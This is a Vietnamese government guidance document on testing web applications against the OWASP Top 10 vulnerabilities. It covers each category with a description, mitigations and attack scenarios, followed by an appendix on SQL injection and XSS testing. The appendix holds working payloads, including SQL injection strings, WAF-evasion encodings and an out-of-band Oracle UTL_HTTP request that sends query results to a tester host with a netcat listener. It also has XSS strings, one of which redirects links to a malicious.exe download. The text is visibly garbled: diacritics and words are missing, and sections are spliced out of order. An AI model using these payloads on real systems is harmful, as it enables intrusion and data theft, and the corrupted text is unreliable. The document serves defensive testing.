BỘ THÔNG TIN VÀ TRUYỀN THÔNG CỤC AN TOÀN THÔNG TIN TÀI LIỆU HƯỚNG DẪN KIỂM TRA AN TOÀN THÔNG TIN ĐỐI VỚI CÁC LỖ HỔNG BẢO MẬT PHỔ BIẾN TRÊN ỨNG DỤNG (Kèm theo Công văn số /CATTT NCSC ngày tháng năm 202[.]
BỘ THƠNG TIN VÀ TRUYỀN THƠNG CỤC AN TỒN THƠNG TIN TÀI LIỆU HƯỚNG DẪN KIỂM TRA AN TỒN THƠNG TIN ĐỐI VỚI CÁC LỖ HỔNG BẢO MẬT PHỔ BIẾN TRÊN ỨNG DỤNG (Kèm theo Công văn số /CATTT-NCSC ngày tháng năm 2022 Cục An tồn thơng tin) Loại tài liệu Cơng khai Phiên 1.0 Đóng góp ý kiến: Mọi góp ý cho tài liệu xin gửi Trung tâm Giám sát an tồn khơng gian mạng quốc gia (NCSC) theo thư điện tử nscs@ais.gov.vn, số điện thoại 02432091616 MỤC LỤC A01 – Broken Access Control 1.1 Mô tả 1.2 Phương pháp ngăn chặn 1.3 Các kịch công A02 - Cryptographic Failures 2.1 Mô tả 2.2 Phương pháp ngăn chặn 2.3 Các kịch công A03 – Injection 3.1 Mô tả 3.2 Phương pháp ngăn chặn 3.3 Các kịch công A04 - Insecure Design 4.1 Mô tả 4.2 Phương pháp ngăn chặn 10 4.3 Các kịch công 10 A05 – Security Misconfiguration 10 5.1 Mô tả 10 5.2 Phương pháp ngăn chặn 11 5.3 Các kịch công 11 A06 – Vulnerable and Outdated Components 12 6.1 Mô tả 12 6.2 Phương pháp ngăn chặn 12 6.3 Các kịch công 13 A07 – Identification and Authentication Failures 13 7.1 Mô tả 13 7.2 Phương pháp ngăn chặn 14 7.3 Các kịch công 15 A08 – Software and Data Integrity Failures 15 8.1 Mô tả 15 8.2 Phương pháp ngăn chặn 15 8.3 Các kịch công 15 A09 – Security Logging and Monitoring Failures 16 9.1 Mô tả 16 9.2 Phương pháp ngăn chặn 16 9.3 Các kịch công 17 10 A10 – Server-Side Request Forgery (SSRF) 17 10.1 Mô tả 17 10.2 Phương pháp ngăn chặn 18 10.3 Các kịch công 19 PHỤ LỤC 1: CHECK LIST SỬ DỤNG ĐỂ KIỂM TRA NỘI BỘ 20 PHỤ LỤC 2: THÔNG TIN THAM KHẢO CHI TIẾT MỘT SỐ LỖ HỔNG THƯỜNG GẶP 22 TÀI LIỆU THAM KHẢO 54 A01 – Broken Access Control 1.1 Mô tả Thực thi kiểm sốt truy cập nhằm ngăn người dùng khơng thể thực hành động nằm quyền phép họ Các lỗ hổng liên quan thường dẫn đến tiết lộ, sửa đổi thông tin trái phép, phá hủy tất liệu thực chức nghiệp vụ nằm giới hạn người dùng Các lỗ hổng kiểm soát truy cập phổ biến gồm: - Vi phạm nguyên tắc ‘tối thiểu đặc quyền’ ‘mặc định từ chối’, quyền truy cập nên cấp cho người dùng có vai trị khả cụ thể kiểm sốt cách chặt chẽ - Có thể cỏ qua kiểm tra kiểm sốt truy cập thơng qua việc sửa đổi URL, sửa đổi trạng thái ứng dụng nội bộ, sửa đổi trang HTML cách sử dụng công cụ công để sửa đổi request API Lỗ hổng cho phép xem chỉnh sửa tài khoản người khác thông qua mã định danh (tham chiếu đối tượng trực tiếp khơng an tồn) Ngun nhân lỗ hổng thiếu kiểm soát truy cập API sử dụng phương thức POST, PUT DELETE Lỗ hổng có liên quan đến leo thang quyền, ví dụ: Thực hành động người dùng [đã đăng nhập] mà không cần đăng nhập hành động quản trị viên đăng nhập với tư cách người dùng thường Khai thác lỗ hổng thông sửa đổi metadata, ví dụ phát lại giả mạo JSON Web Token (JWT) cookie trường ẩn, để leo thang quyền vơ hiệu hóa JWT Lỗ hổng cấu hình CORS khơng xác cho phép truy cập API từ nguồn trái phép nguồn không tin cậy Truy cập (force browsing) đến trang xác thực (authenticated pages) người dùng chưa xác thực đến trang đặc quyền (chẳng hạn trang dành cho quản trị viên) với tư cách người dùng thường (standard user) 1.2 Phương pháp ngăn chặn Kiểm soát truy cập, kiểm soát hiệu thực mã nguồn ứng dụng (code) phía máy chủ Trừ tài ngun cơng cộng, khơng cho phép truy cập đến phần khác theo mặc định Triển khai chế kiểm soát truy cập lần sử dụng lại chúng toàn ứng dụng, bao gồm việc giảm thiểu Chia sẻ tài ngun bên (CORS) Mơ hình kiểm sốt truy cập nên tuân theo record ownership (quyền sở hữu đối tượng) thay cho phép người dùng tạo, xem, cập nhật xóa record Phân tách nghiệp vụ ứng dụng khác theo mơ hình miền (domain model) Vơ hiệu hóa danh sách thư mục máy chủ web đảm bảo tệp metadata (ví dụ: git) tệp lưu khơng đặt thư mục web root Ghi log lỗi kiểm soát truy cập cảnh báo cho quản trị viên trường hợp bất thường (ví dụ: lỗi lặp lại) Thiết lập hạn chế cho API kiểm sốt truy cập để giảm thiểu tác hại từ cơng cụ cơng tự động Vơ hiệu hóa mã xác thực (stateful session identifiers) máy chủ sau đăng xuất Các mã xác thực không trạng thái JWT nên thiết lập thời gian tồn ngắn tuân theo tiêu chuẩn OAuth để thu hồi quyền truy cập Các nhà phát triển nhà kiểm định chất lượng nên triển khai kiểm soát truy cập chức thực kiểm tra tích hợp 1.3 Các kịch công Kịch 1: Ứng dụng sử dụng liệu chưa xác minh câu lệnh SQL dùng để truy cập thông tin tài khoản: pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); Kẻ công cần sửa đổi tham số 'acct' trình duyệt để truy vấn đến số tài khoản chúng muốn Nếu khơng xác minh xác, kẻ cơng truy cập vào tài khoản người dùng https://example.com/app/accountInfo?acct=notmyacct Kịch 2: Kẻ cơng điều hướng trình duyệt đến URL mục tiêu Quyền quản trị yêu cầu để truy cập vào trang quản trị https://example.com/app/getappInfo https://example.com/app/admin_getappInfo Nếu người dùng chưa xác thực truy cập vào hai trang người quản trị viên truy cập vào trang quản trị, lỗ hổng ứng dụng A02 - Cryptographic Failures 2.1 Mô tả Điều xác định nhu cầu bảo vệ liệu sử dụng hệ thống Ví dụ: mật khẩu, số thẻ tín dụng, hồ sơ sức khỏe, thơng tin cá nhân bí mật kinh doanh cần bảo vệ thêm, phần lớn liệu tuân theo luật bảo mật, ví dụ: quy định chung bảo mật liệu EU (GDPR) quy định quy định bảo vệ liệu tài chính, ví dụ: Tiêu chuẩn bảo mật liệu PCI (PCI DSS) Đối với tất liệu vậy: Có liệu truyền dạng văn rõ không? Điều liên quan đến giao thức HTTP, SMTP, FTP sử dụng nâng cấp TLS STARTTLS Tất lưu lượng truy cập từ bên internet nguy hiểm Xác minh tất lưu lượng truy cập nội bộ, ví dụ: cân tải, máy chủ web hệ thống back-end Có thuật tốn mã hóa giao thức cũ yếu sử dụng theo mặc định mã nguồn cũ khơng? Có phải khóa mật mã mặc định sử dụng, khóa mật mã yếu tạo sử dụng lại hay khơng việc xoay vịng quản lý khóa thích hợp có bị thiếu khơng? Các khóa mật mã có kiểm tra bên mã nguồn khơng? Mã hóa có triển khai khơng, ví dụ: có thị bảo mật tiêu đề HTTP bị thiếu không? Chứng máy chủ nhận việc xác minh chuỗi tin cậy có thực cách khơng? Các giá trị Initialization vectors (gọi tắt IV) có bị bỏ qua, sử dụng lại khơng tạo đủ an tồn cho chế độ hoạt động không? Chế độ hoạt động khơng an tồn ECB có sử dụng khơng? Mã hóa thơng thường có sử dụng mã hóa xác thực thích hợp khơng? Mật có sử dụng làm khóa mật mã khơng có chức dẫn xuất khóa từ mật khẩu? Tính ngẫu nhiên sử dụng cho mục đích mã hóa có thiết kế đáp ứng tiêu chuẩn mật mã không? Ngay chức xác chọn, có cần phải nhà phát triển đưa vào hay không, không, nhà phát triển viết lại chức seeding mạnh tích hợp vào với seed thiếu hỗn loạn/khơng thể đốn trước hay khơng? Các hàm băm khơng dùng MD5 SHA1 có sử dụng hay hàm băm khơng an tồn có sử dụng cần hàm băm mật mã không? Các phương pháp cryptographic padding không dùng PKCS số v1.5 có sử dụng khơng? Các thơng báo lỗi mật mã thơng tin kênh bên khai thác không, chẳng hạn dạng công padding oracle? 2.2 Phương pháp ngăn chặn Thực tối thiểu điều sau tham khảo tài liệu tham khảo: Phân loại liệu ứng dụng xử lý, lưu trữ truyền Xác định liệu nhạy cảm theo luật bảo mật, yêu cầu quy định nhu cầu kinh doanh Không lưu trữ liệu nhạy cảm cách không cần thiết Loại bỏ sớm tốt sử dụng mã hóa tn thủ PCI DSS chí cắt bớt Dữ liệu không giữ lại bị đánh cắp Đảm bảo mã hóa tất liệu nhạy cảm trạng thái nghỉ Đảm bảo có sẵn thuật tốn, giao thức khóa tiêu chuẩn mạnh mẽ cập nhật nhất; sử dụng quản lý khóa phù hợp Mã hóa tất liệu truyền giao thức an toàn TLS với mật mã bảo mật chuyển tiếp (FS), ưu tiên mật mã máy chủ tham số an tồn Thực thi mã hóa cách sử dụng lệnh HTTP Strict Transport Security (HSTS) Tắt nhớ đệm cho phản hồi có chứa liệu nhạy cảm Áp dụng biện pháp kiểm soát bảo mật bắt buộc theo phân loại liệu Không sử dụng giao thức cũ FTP SMTP để vận chuyển liệu nhạy cảm Lưu trữ mật cách sử dụng hàm băm có sử dụng satl thích ứng mạnh với hệ số công việc (hệ số trễ), chẳng hạn Argon2, scrypt, bcrypt PBKDF2 Các Initialization vectors (gọi tắt IV) phải chọn phù hợp với chế độ hoạt động Đối với nhiều chế độ, điều có nghĩa sử dụng CSPRNG (bộ tạo số ngẫu nhiên giả an toàn mật mã) Đối với chế độ yêu cầu nonce, IV khơng cần CSPRNG Trong trường hợp, IV không sử dụng hai lần cho khóa cố định Ln sử dụng mã hóa xác thực thay mã hóa Các khóa phải tạo mật mã cách ngẫu nhiên lưu trữ nhớ dạng mảng byte Nếu mật sử dụng, mật phải chuyển đổi thành khóa thơng qua chức dẫn xuất khóa sở mật thích hợp Đảm bảo tính ngẫu nhiên mật mã sử dụng thích hợp khơng tạo theo cách dự đốn với entropy thấp Hầu hết API đại không yêu cầu nhà phát triển phải khởi tạo CSPRNG để có bảo mật Tránh hàm mật mã không dùng lược đồ đệm, chẳng hạn MD5, SHA1, PKCS phiên v1.5 Xác minh độc lập tính hiệu cấu hình cài đặt 2.3 Các kịch công Kịch 1: Một ứng dụng mã hóa số thẻ tín dụng sở liệu cách sử dụng mã hóa sở liệu tự động Tuy nhiên, liệu tự động giải mã truy xuất, cho phép lỗ hổng SQL injection truy xuất số thẻ tín dụng dạng văn rõ ràng Kịch 2: Trang web không sử dụng không bắt buộc sử dụng TLS với tất chức hỗ trợ mã hóa yếu Kẻ cơng giám sát traffic mạng, hạ cấp kết nối từ HTTPS sang HTTP để can thiệt vào request qua đánh cắp cookie người dùng để tái sử dụng chiếm phiên đăng nhập người dùng Thay làm việc kẻ cơng can thiệp vào tất liệu trình truyền tài Kịch 3: Cơ sở liệu mật sử dụng hàm băm đơn giản hàm bẳm khơng có salt để lưu trữ mật người dùng Một lỗ hổng bảo mật khác cho phép kẻ công lấy sở liệu mật khẩu, mật lưu trữ hàm băm yếu khơng dùng salt bẻ khóa GPUs A03 – Injection 3.1 Mô tả Một ứng dụng đánh giá tồn lỗ hổng khi: Dữ liệu từ phía người dùng khơng lọc, kiểm tra xử lí loại bỏ phần độc hại ứng dụng Các lệnh gọi truy vấn động khơng tham số hố sử dụng trực tiếp trình thơng dịch mà khơng xử lý loại bỏ độc hại Dữ liệu độc hại sử dụng tham số tìm kiếm ánh xạ quan hệ đối tượng (ORM) để trích xuất ghi nhạy cảm, bổ sung Dữ liệu độc hại sử dụng trực tiếp nối chuỗi Các truy vấn động, thủ tục lưu trữ SQL command chứa cấu trúc liệu độc hại Một số dạng lỗ hổng injection phổ biến SQL, OS command, Object Relational Mapping (ORM), LDAP Expression Language (EL), tương đương với Object Graph Navigation Library (OGNL) Khái niệm giống trình thơng dịch Rà sốt mã nguồn cách tốt để xác định ứng dụng có khả tồn lỗ hổng injection hay khơng Tự động hố cơng việc kiểm thử liệu đầu vào từ tham số, headers, cookies, JSON, SOAP XML Các tổ chức có điều kiện, nên sử dụng ứng dụng, công cụ kiểm thử lỗ hổng tĩnh (SAST), động (DAST) tương tác (IAST) để kiểm thử lỗ hổng trước triển khai sản phẩm vào thực tế 3.2 Phương pháp ngăn chặn Ngăn chặn lỗ hổng injection yêu cầu phải đảm bảo liệu tách biệt với truy vấn command: Phương pháp ưa thích sử dụng safe API, cung cấp chức tham số hoá giảm thiểu khả tồn lỗ hổng Object Relational Mapping Tools (ORMs) Lưu ý: Cho dù tham số hoá, stored produres tồn lỗ hổng SQL injection PL/SQL T-SQL nối truy vấn liệu độc hại thực thi thủ tục EXECUTE IMMEDIATE hàm exec() Thực lọc, kiểm tra xử lí loại bỏ liệu độc hại phía máy chủ Đây coi phương pháp không triệt để nhiều ứng dụng u cầu kí tự đặc biệt vùng văn API cho ứng dụng di động Escape kí tự đặc biệt trước đưa vào trình thơng dịch truy vấn lệnh Lưu ý: Không thể escape cấu trúc SQL tên bảng, tên cột, v.v., đó, chức cho phép người dùng cung cấp tên cấu trúc thường nguy hiểm Đây vấn đề thường gặp phần mềm viết báo cáo Sử dụng LIMIT lệnh điều khiển SQL khác truy vấn để ngăn chặn lộ lọt hàng loạt ghi trường hợp bị công SQL injection 3.3 Các kịch công Kịch 1: Một ứng dụng sử dụng liệu không đáng tin truy vấn tới SQL: String query = "SELECT request.getParameter("id") + "'"; * FROM accounts WHERE custID='" + Kịch 2: Tương tự trên, ứng dụng tin tưởng vào frameworks dẫn đến lỗ hổng SQL injections: Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'"); Trong hai trường hợp, kẻ cơng chỉnh sửa tham số “id” thành ‘ or ‘1’=’1 Ví dụ: http://example.com/app/accountView?id=' or '1'='1 Điều thay đổi ý nghĩa hai truy vấn để trả tất ghi từ bảng ‘accounts’ Các cơng nguy hiểm sửa đổi xóa liệu chí gọi thủ tục lưu trữ A04 - Insecure Design 4.1 Mô tả Thiết kế khơng an tồn phạm trù rộng mô tả cho điểm yếu khác nhau, hiểu “thiết kế thiếu kiểm sốt khơng hiệu quả” Sai sót thiết kế sai sót triển khai có nguyên nhân cách khắc phục khác Một thiết kế an tồn có lỗi triển khai dẫn đến lỗ hổng bị khai thác Một thiết kế khơng an tồn khơng thể sửa chữa cách triển khai Quản lý yêu cầu tài nguyên Thu thập yêu cầu hoạt động kinh doanh cho ứng dụng, yêu cầu bảo vệ liên quan đến tính bảo mật, tính tồn vẹn, tính sẵn có tính xác thực tất tài sản liệu logic dự kiến kinh doanh Lập kế hoạch tính tốn ngân sách bao gồm tất hoạt động thiết kế, xây dựng, thử nghiệm vận hành, hoạt động bảo mật Thiết kế an tồn Thiết kế an tồn văn hóa phương pháp đánh giá liên tục mối đe dọa đảm bảo mã (code) thiết kế thử nghiệm đầy đủ để ngăn chặn phương pháp cơng biết Mơ hình mối đe dọa (Threat modeling) nên tích hợp vào chu trình phát triển phần mềm Phân tích giả định điều kiện cho luồng hoạt động dự kiến, đảm bảo chúng xác trường hợp Ghi lại vấn đề từ người dùng, thay đổi phù hợp để cải thiện hoạt động bảo mật hệ thống Vịng đời phát triển an tồn Hãy liên hệ, trao đổi với chuyên gia bảo mật bạn từ bắt đầu dự án phần mềm kết thúc dự án trình bảo trì phần mềm 4.2 Phương pháp ngăn chặn Thiết lập sử dụng vòng đời phát triển an toàn với chuyên gia ATTT để giúp đánh giá thiết kế biện pháp kiểm soát liên quan đến quyền riêng tư bảo mật Thiết lập sử dụng thư viện mẫu thiết kế an tồn Sử dụng mơ hình mối đe dọa xác thực quan trọng, kiểm soát truy cập, logic nghiệp vụ luồng Tích hợp kiểm tra tính hợp lý liệu (từ frontend đến backend) Viết kiểm tra để kiểm tra luồng quan trọng Tách phần hệ thống lớp mạng tùy thuộc vào nhu cầu hoạt động ứng dụng Phân tách người dùng cách chặt chẽ theo thiết kế tất tầng Hạn chế tài nguyên sử dụng người dùng dịch vụ 4.3 Các kịch công Kịch 1: Quy trình khơi phục thơng tin xác thực thông qua “câu hỏi câu trả lời” không đáng tin cậy Thiết kế nên loại bỏ thay thiết kế an toàn Kịch 2: Trang web thương mại điện tử chuỗi bán lẻ khơng có biện pháp bảo vệ chống lại bot tự động mua thẻ video cao cấp giảm giá để bán lại trang web khác Các quy tắc thiết kế logic để chống bot cần xem xét kỹ lưỡng, ví dụ giao dịch mua thực nhanh vòng vài giây, cần từ chối giao dịch A05 – Security Misconfiguration 5.1 Mô tả Một ứng dụng bị cơng ứng dụng đó: Thiếu biện pháp bảo mật tăng cường cho phần khác ứng dụng thiết lập phân quyền khơng xác dịch vụ cloud Trong thảo luận trước đây, không giải vấn đề xác định điều kiện chấm dứt kiểm tra, nghĩa nên kết thúc trình suy luận Một kỹ thuật để làm điều sử dụng đặc tính hàm SUBSTRING chức LENGTH Khi kiểm tra so sánh ký tự với mã ASCII (tức giá trị null) kiểm tra trả giá trị đúng, làm xong thủ tục suy luận (chúng ta quét toàn chuỗi) giá trị mà có phân tích có chứa ký tự null Chúng ta chèn giá trị sau cho trường Id: $Id=1' AND LENGTH(username)=N AND '1' = '1 Trong N số ký tự mà phân tích đến (khơng tính giá trị null) Truy vấn là: SELECT field1, field2, field3 LENGTH(username)=N AND '1' = '1' FROM Users WHERE Id='1' AND Truy vấn trả true false Nếu có true, có nghĩa hồn thành suy luận, đó, biết giá trị tham số Nếu nhận false, có nghĩa ký tự null xuất giá trị tham số phải tiếp tục phân tích tham số tìm thấy giá trị null khác Tấn công Blind SQL injection cần nhiều truy vấn Người kiểm thử cần công cụ tự động để khai thác lỗ hổng Kỹ thuật khai thác dựa lỗi Kỹ thuật khai thác dựa lỗi hữu ích người kiểm tra lý khơng thể khai thác lỗ hổng SQL injection kỹ thuật khác UNION Các lỗi dựa kỹ thuật bao gồm việc buộc sở liệu thực số hoạt động, kết lỗi Vấn đề cố gắng trích xuất số liệu từ sở liệu hiển thị thơng báo lỗi Kỹ thuật khai thác khác với DBMS khác (kiểm tra cụ thể phần DBMS) Xem xét truy vấn SQL sau: SELECT * FROM products WHERE id_product=$id_product Xem xét truy vấn kịch thực truy vấn trên: http://www.example.com/product.php?id=10 Yêu cầu độc hại (ví dụ Oracle 10g): http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME ( (SELECT user FROM DUAL) )-Trong ví dụ này, người kiểm tra nối giá trị 10 với kết hàm UTL_INADDR.GET_HOST_NAME Chức Oracle cố gắng trả lại tên máy chủ tham số truyền cho tên người sử dụng truy vấn khác Khi sở liệu tìm kiếm tên máy chủ với tên sở liệu người dùng, khơng thành cơng trả lại thông báo lỗi như: ORA-292257: host SCOTT unknown Sau đó, người kiểm tra thao tác thông số truyền đến GET_HOST_NAME() kết hiển thị thông báo lỗi Kỹ thuật khai thác Out of band Kỹ thuật hữu ích người kiểm tra tìm tình Blind SQL Injection, khơng biết kết hành động Kỹ thuật bao gồm việc sử dụng chức DBMS để thực kết nối out of band cung cấp kết truy vấn chèn thành phần yêu cầu tới máy chủ người đánh giá Giống kỹ thuật dựa lỗi, DBMS có chức riêng Xem xét cụ thể phần DBMS Xem xét truy vấn SQL sau: SELECT * FROM products WHERE id_product=$id_product Xem xét truy vấn tập lệnh thực thi truy vấn trên: http://www.example.com/product.php?id=10 Yêu cầu độc hại là: http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com :80’||(SELECT user FROM DUAL)-Trong ví dụ này, người thử nghiệm nối giá trị 10 với kết hàm UTL_HTTP.request Chức Oracle cố gắng kết nối với 'testerserver' thực yêu cầu HTTP GET có chứa truy vấn từ "SELECT user FROM DUAL" Người kiểm tra thiết lập máy chủ web (ví dụ Apache) sử dụng công cụ Netcat: /home/tester/nc –nLp 80 GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close Kỹ thuật khai thác thời gian trễ Kỹ thuật khai thác thời gian trễ hữu ích người kiểm tra tìm tình Blind SQL Injection, khơng biết kết hành động Kỹ thuật bao gồm việc gửi truy vấn chèn trường hợp điều kiện đúng, người kiểm tra theo dõi thời gian để máy chủ phản hồi Nếu có chậm trễ, người kiểm tra cho kết truy vấn có điều kiện Kỹ thuật khai thác khác với DBMS khác (kiểm tra cụ thể phần DBMS) Xem xét truy vấn SQL sau: SELECT * FROM products WHERE id_product=$id_product Xem xét yêu cầu tập lệnh thực thi truy vấn trên: http://www.example.com/product.php?id=10 Truy vấn (ví dụ: MySql 5.x): http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))-Trong ví dụ này, người kiểm tra kiểm tra xem phiên MySql có 5.x hay không, khiến cho máy chủ trễ câu trả lời 10 giây Người kiểm tra làm tăng thời gian trễ theo dõi phản hồi Người kiểm tra khơng cần đợi phản hồi Đơi đặt giá trị cao (ví dụ 100) hủy yêu cầu sau vài giây Kỹ thuật tránh né SQL Injection signature Các kỹ thuật sử dụng để vượt qua hệ thống phòng thủ tường lửa ứng dụng Web (WAFs) hệ thống phòng chống xâm nhập (IPS) Tham khảo https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF Khoảng trắng Giảm tăng khoảng trống không ảnh hưởng đến câu lệnh SQL Ví dụ: or 'a'='a' or 'a' = 'a' Thêm ký tự đặc biệt dòng tab không thay đổi việc thực câu lệnh SQL Ví dụ: or 'a'= 'a' Null Bytes Sử dụng null byte (%00) trước ký tự mà lọc chặn Ví dụ, kẻ cơng chèn SQL sau ' UNION SELECT password FROM Users WHERE username='admin'-để thêm Null Bytes %00' UNION SELECT password FROM Users WHERE username='admin'-Chú thích SQL Thêm thích dịng lệnh SQL giúp câu lệnh SQL hợp lệ bỏ qua lọc SQL injection Lấy câu lệnh SQL injection làm ví dụ ' UNION SELECT password FROM Users WHERE name='admin'-Thêm thích SQL '/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/* */LIKE/**/'admin'-'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/ **/name/**/LIKE/**/'admin'-Mã hóa URL Sử dụng mã hóa URL trực tuyến để mã hố câu lệnh SQL http://meyerweb.com/eric/tools/dencoder/ ' UNION SELECT password FROM Users WHERE name='admin'-Mã hóa URL câu lệnh SQL injection %27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%2 0name%3D%27admin%27-Mã hóa ký tự Chức Char() sử dụng để thay kỹ tự tiếng Anh Ví dụ, char (114,111,111,116) có nghĩa root ' UNION SELECT password FROM Users WHERE name='root'-Để áp dụng Char(), lệnh SQL injeciton ' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)-Kết nối Chuỗi Chia nhỏ từ khóa SQL tránh né lọc Cú pháp nối tiếp khác dựa sở liệu Sử dụng cơng cụ MS SQL làm ví dụ select Câu lệnh SQL đơn giản thay đổi cách sử dụng ghép nối EXEC('SEL' + 'ECT 1') Mã hóa Hex Kỹ thuật mã hóa Hex sử dụng mã hóa Hexadecimal để thay câu lệnh SQL gốc Ví dụ, 'root' hiển thị 726F6F74 Select user from users where name = 'root' Câu lệnh SQL sử dụng giá trị HEX là: Select user from users where name = 726F6F74 Select user from users where name = unhex('726F6F74') Khai báo biến Khai báo câu lệnh SQL injection thành biến thực thi Ví dụ: câu lệnh SQL injection Union Select password Định nghĩa câu lệnh SQL thành SQLivar biến ; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar) Biểu thức thay 'hoặc = 1' OR 'SQLi' = 'SQL'+'i' OR 'SQLi' > 'S' or 20 > OR between and OR 'SQLi' = N'SQLi' and = 1 || = 1 && = Tài liệu tham khảo thêm: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_S heet.html Reflected Cross site scripting 4.1 Tóm tắt Lỗi Reflected Cross-site Scripting (XSS) xảy kẻ công chèn mã thực thi phản hồi HTTP Mã thực thi không lưu trữ ứng dụng; khơng liên tục ảnh hưởng đến người dùng mở liên kết độc hại trang web bên thứ ba Thông thường, mã kẻ công viết ngôn ngữ Javascript, ngơn ngữ kịch khác sử dụng, ví dụ: ActionScript VBScript Kẻ công thường tận dụng lỗ hổng để cài đặt trình keyloggers, lấy cắp cookie nạn nhân, lấy trộm clipboard, thay đổi nội dung trang (ví dụ, liên kết tải xuống) Một khó khăn việc ngăn ngừa lỗ hổng XSS mã hóa ký tự thích hợp Trong số trường hợp, máy chủ web ứng dụng web lọc số mã hố ký tự, ví dụ ứng dụng web lọc "", khơng lọc %3cscript%3e 4.2 Kiểm tra Phát vector đầu vào Đối với trang web, người kiểm tra phải xác định tất biến người nhập vào Điều bao gồm đầu vào ẩn không rõ ràng tham số HTTP, liệu POST, giá trị trường biểu mẫu ẩn Để phát lỗ hổng XSS, người kiểm tra thường sử dụng liệu đầu vào ghép lại cách đặc biệt với vectơ đầu vào Kiểm tra liệu tạo cách sử dụng ứng dụng web fuzzer, danh sách xác định trước tự động chuỗi công biết tay Một số ví dụ liệu đầu vào sau: alert(123) “>alert(document.cookie) 4.3 Để có danh sách đầy đủ chuỗi thử nghiệm có thể, xem XSS Filter Evasion Cheat Sheet Đối với đầu vào thử nghiệm thử giai đoạn trước, người kiểm tra phân tích kết xác định xem có phải lỗ hổng có ảnh hưởng thực tế đến tính bảo mật ứng dụng web hay khơng Ví dụ: xem xét trang web có thông báo chào mừng "Welcome% username%" liên kết tải xuống Người kiểm tra phải coi điểm nhập liệu dẫn đến cơng XSS Để phân tích nó, người kiểm tra thay đổi biến user cố gắng kích hoạt lỗ hổng Hãy thử nhấp vào liên kết sau xem xảy ra: http://example.com/index.php?user=alert(123) Nếu khơng có biện pháp lọc áp dụng dẫn đến popup sau đây: Điều có lỗ hổng XSS người kiểm tra thực thi mã theo ý muốn trình duyệt người nhấp vào liên kết người kiểm tra Ví dụ 2: Hãy thử đoạn mã khác (liên kết): http://example.com/index.php?user=window.onload = function() AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; } {var Điều gây hành vi sau: Điều khiến cho người dùng, nhấp vào liên kết cung cấp người kiểm tra, tải tệp tin malicious.exe từ trang web mà kiểm sốt Vượt qua lọc XSS Tấn cơng reflected cross-site scripting ngăn chặn ứng dụng web lọc đầu vào Nhưng trình duyệt lỗi thời tắt tính bảo mật cài đặt sẵn Tương tự, tường lửa ứng dụng web bảo đảm hoàn toàn phát cơng mới, chưa biết Kẻ cơng tạo chuỗi công mà không nhận dạng tường lửa ứng dụng web Kẻ cơng dùng nhiểu cách để vượt qua lọc Tài liệu XSS Filter Evasion Cheat Sheet phổ biến biện pháp bỏ qua lọc Ví dụ: ứng dụng web sử dụng giá trị nhập vào người dùng để điền vào thuộc tính, hiển thị đoạn mã sau: Sau kẻ cơng gửi đoạn mã sau: " onfocus="alert(document.cookie) Xem XSS Filter Evasion Cheat Sheet để biết thêm chi tiết kỹ thuật vượt lọc https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Ch eat_Sheet.html Stored Cross site scripting 5.1 Tóm tắt Stored Scripting Cross-Site Scriptored (XSS) loại công kịch Cross Site Scripting Các ứng dụng Web cho phép người dùng lưu trữ liệu bị công kiểu công Chương minh hoạ ví dụ chèn stored cross site scripting kịch khai thác liên quan Stored XSS xảy ứng dụng web tập hợp liệu input từ người dùng – liệu liệu độc hại, sau lưu trữ liệu vào kho liệu để sử dụng sau Dữ liệu lưu trữ không lọc xác Do đó, liệu độc hại xuất phần trang web chạy trình duyệt người dùng theo đặc quyền ứng dụng web Lỗ hổng sử dụng để tiến hành số cơng dựa vào trình duyệt bao gồm: - Chiếm trình duyệt người dùng khác - Thu thập thơng tin nhạy cảm xem người dùng ứng dụng - Giả mạo ứng dụng - Quét cổng máy chủ nội ("nội bộ" liên quan đến người sử dụng ứng dụng web) - Trực tiếp thực thi khai thác dựa trình duyệt - Các hoạt động nguy hại khác Stored XSS không cần liên kết độc hại khai thác Việc khai thác thành công xảy người dùng truy cập trang có XSS lưu trữ Các giai đoạn sau liên quan đến kịch công XSS lưu trữ điển hình: - Người cơng lưu trữ mã độc hại vào trang chứa lỗ hổng - Người dùng xác thực ứng dụng - Người dùng truy cập trang chứa lỗ hổng - Mã độc hại thực thi trình duyệt người dùng Stored XSS đặc biệt nguy hiểm khu vực ứng dụng mà người dùng có quyền ưu tiên cao truy cập Khi quản trị viên truy cập vào trang chứa lỗ hổng, công tự động thực thi trình duyệt họ Điều gây tiết lộ thông tin nhạy cảm mã token xác thực phiên 5.2 Kiểm tra Quá trình xác định lỗ hổng Stored XSS tương tự q trình mơ tả thử nghiệm cho reflected XSS Nhập Biểu mẫu Bước xác định tất điểm đầu vào người dùng lưu trữ vào back-end sau hiển thị ứng dụng Các ví dụ điển hình đầu vào người dùng lưu trữ tìm thấy trong: Trang Người dùng/Hồ sơ: ứng dụng cho phép người dùng chỉnh sửa/thay đổi chi tiết hồ sơ tên, họ, biệt hiệu, hình đại diện, hình ảnh, địa - Giỏ hàng: ứng dụng cho phép người dùng lưu trữ mặt hàng vào giỏ hàng để sau xem lại - File Manager: ứng dụng cho phép upload file - Cài đặt ứng dụng/tùy chọn: ứng dụng cho phép người dùng thiết lập tùy chọn - Diễn đàn/Bảng tin: ứng dụng cho phép trao đổi đăng người dùng - Blog: ứng dụng blog cho phép người dùng gửi nhận xét - Đăng nhập: ứng dụng lưu trữ số ghi nhập vào từ người dùng Phân tích mã HTML Lưu ý: Tất khu vực ứng dụng truy cập quản trị viên phải kiểm tra để xác định diện liệu người dùng gửi Ví dụ: Email lưu trữ liệu index2.php Mã HTML index2.php nơi đặt giá trị email: Trong trường hợp này, người kiểm thử cần tìm cách để chèn mã bên thẻ sau: MALICIOUS CODE name="email" 